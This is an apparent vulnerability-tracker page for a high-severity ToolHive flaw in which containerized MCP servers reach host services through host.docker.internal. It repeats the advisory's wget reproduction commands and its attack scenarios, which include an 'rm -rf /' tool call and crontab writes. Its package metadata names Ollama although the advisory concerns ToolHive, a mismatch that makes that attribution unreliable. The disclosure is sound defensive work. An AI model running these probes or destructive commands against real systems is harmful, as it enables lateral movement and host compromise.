CVE-2026-58197

GHSA-qg2g-g9w3-m5h8 HIGH
Published September 18, 2026

## Summary A containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on...

Full CISO analysis pending enrichment.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Ollama go < 0.30.1 0.30.1
180.8K 1.8K dependents Pushed 8d ago 15% patched ~36d to patch Full package profile →

Do you use Ollama? You're affected.

How severe is it?

CVSS 3.1
8.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
N/A

What is the attack surface?

AV AC PR UI S C I A
AV Adjacent
AC Low
PR None
UI Required
S Changed
C High
I High
A High

What should I do?

Patch available

Update Ollama to version 0.30.1

Which compliance frameworks are affected?

Compliance analysis pending. Sign in for full compliance mapping when available.

Frequently Asked Questions

What is CVE-2026-58197?

## Summary A containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape. ## Severity **High** — This bypasses the container isolation model that is ToolHive's core security value proposition. ## Reproduction All tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`. ### 1. Container can reach the ToolHive control plane MCP endpoint ```bash $ docker exec <container_id> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \ http://host.docker.internal:50444/mcp ``` **Result:** Full MCP handshake succeeds: ```json {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}} ``` ### 2. Container can connect to another MCP server's proxy and call its tools ```bash $ docker exec <container_id> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \ http://host.docker.internal:64965/mcp ``` **Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called: ```json {"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}} ``` ### 3. Container can reach other host services ```bash # Kubernetes API $ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version {"major":"1","minor":"34","gitVersion":"v1.34.1"...} # Ollama LLM API $ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags {"models":[{"name":"kimi-k2:1t-cloud"...}]} ``` ## Attack Scenarios ### Scenario 1: Malicious MCP server pivots to privileged native MCP tools Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can: 1. Port-scan `host.docker.internal` to discover listening services 2. Attempt MCP handshakes on discovered ports 3. Call privileged tools (e.g., `execute_command("rm -rf /")` or `write_file("/etc/crontab", "...")`) This achieves **full host compromise without any container escape vulnerability**. ### Scenario 2: Compromised MCP server manipulates ToolHive itself Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially: - List and stop other running MCP servers (denial of service) - Start new MCP servers with attacker-controlled images - Modify configurations ### Scenario 3: Data exfiltration via cross-MCP-server access A low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server's proxy and call `read_file` to access files it was never authorized to see. ### Scenario 4: LLM model theft / abuse As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs. ## Root Causes 1. **`insecure_allow_all: true` as default** — permits outbound connections to any destination including `host.docker.internal` 2. **No authentication on ToolHive API / MCP proxies** — any client that can reach the port can interact fully 3. **Docker's `host.docker.internal` DNS** — resolves to the host machine, bypassing localhost-only binding assumptions ## Suggested Mitigations ### Short-term - **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in. - **Add authentication to MCP proxy endpoints** — even a shared secret or token per session would prevent cross-container lateral movement. ### Medium-term - **Network policy per container** — ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice. - **Isolate container networks** — run each MCP server in its own Docker network with no access to the Docker bridge gateway. ### Long-term - **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected. - **Audit logging** — log all MCP tool calls with source identification so lateral movement attempts are visible. ## Environment - ToolHive v0.9.3 (macOS desktop app, Docker runtime) - Docker Desktop for Mac (host.docker.internal enabled by default) - Tested with `docker.io/mcp/filesystem:latest`

Is CVE-2026-58197 actively exploited?

No confirmed active exploitation of CVE-2026-58197 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-58197?

Update to patched version: Ollama 0.30.1.

What is the CVSS score for CVE-2026-58197?

CVE-2026-58197 has a CVSS v3.1 base score of 8.8 (HIGH).

What are the technical details?

Original Advisory

## Summary A containerized MCP server running with the default `network` permission profile (`insecure_allow_all: true`) can reach host-local services via `host.docker.internal`. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape. ## Severity **High** — This bypasses the container isolation model that is ToolHive's core security value proposition. ## Reproduction All tests performed from inside the `filesystem` MCP container (`docker.io/mcp/filesystem:latest`), started with default settings via `thv run filesystem -- /tmp`. ### 1. Container can reach the ToolHive control plane MCP endpoint ```bash $ docker exec <container_id> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \ http://host.docker.internal:50444/mcp ``` **Result:** Full MCP handshake succeeds: ```json {"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}} ``` ### 2. Container can connect to another MCP server's proxy and call its tools ```bash $ docker exec <container_id> wget -qO- \ --header="Content-Type: application/json" \ --header="Accept: application/json" \ --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \ http://host.docker.internal:64965/mcp ``` **Result:** Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called: ```json {"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}} ``` ### 3. Container can reach other host services ```bash # Kubernetes API $ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version {"major":"1","minor":"34","gitVersion":"v1.34.1"...} # Ollama LLM API $ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags {"models":[{"name":"kimi-k2:1t-cloud"...}]} ``` ## Attack Scenarios ### Scenario 1: Malicious MCP server pivots to privileged native MCP tools Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have `execute_command`, `write_file`, or `shell` capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can: 1. Port-scan `host.docker.internal` to discover listening services 2. Attempt MCP handshakes on discovered ports 3. Call privileged tools (e.g., `execute_command("rm -rf /")` or `write_file("/etc/crontab", "...")`) This achieves **full host compromise without any container escape vulnerability**. ### Scenario 2: Compromised MCP server manipulates ToolHive itself Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially: - List and stop other running MCP servers (denial of service) - Start new MCP servers with attacker-controlled images - Modify configurations ### Scenario 3: Data exfiltration via cross-MCP-server access A low-privilege MCP server (e.g., `sequentialthinking` with no file mounts) could reach the `filesystem` server's proxy and call `read_file` to access files it was never authorized to see. ### Scenario 4: LLM model theft / abuse As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs. ## Root Causes 1. **`insecure_allow_all: true` as default** — permits outbound connections to any destination including `host.docker.internal` 2. **No authentication on ToolHive API / MCP proxies** — any client that can reach the port can interact fully 3. **Docker's `host.docker.internal` DNS** — resolves to the host machine, bypassing localhost-only binding assumptions ## Suggested Mitigations ### Short-term - **Block `host.docker.internal` and `172.17.0.1`** (Docker gateway) in container networking by default, even when `insecure_allow_all` is enabled. These should require explicit opt-in. - **Add authentication to MCP proxy endpoints** — even a shared secret or token per session would prevent cross-container lateral movement. ### Medium-term - **Network policy per container** — ToolHive already has the `permission_profile` infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice. - **Isolate container networks** — run each MCP server in its own Docker network with no access to the Docker bridge gateway. ### Long-term - **Mutual TLS or token-based auth** between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected. - **Audit logging** — log all MCP tool calls with source identification so lateral movement attempts are visible. ## Environment - ToolHive v0.9.3 (macOS desktop app, Docker runtime) - Docker Desktop for Mac (host.docker.internal enabled by default) - Tested with `docker.io/mcp/filesystem:latest`

Weaknesses (CWE)

CWE-284 — Improper Access Control: The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

  • [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
  • [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Timeline

Published
September 18, 2026
Last Modified
September 18, 2026
First Seen
September 18, 2026

Related Vulnerabilities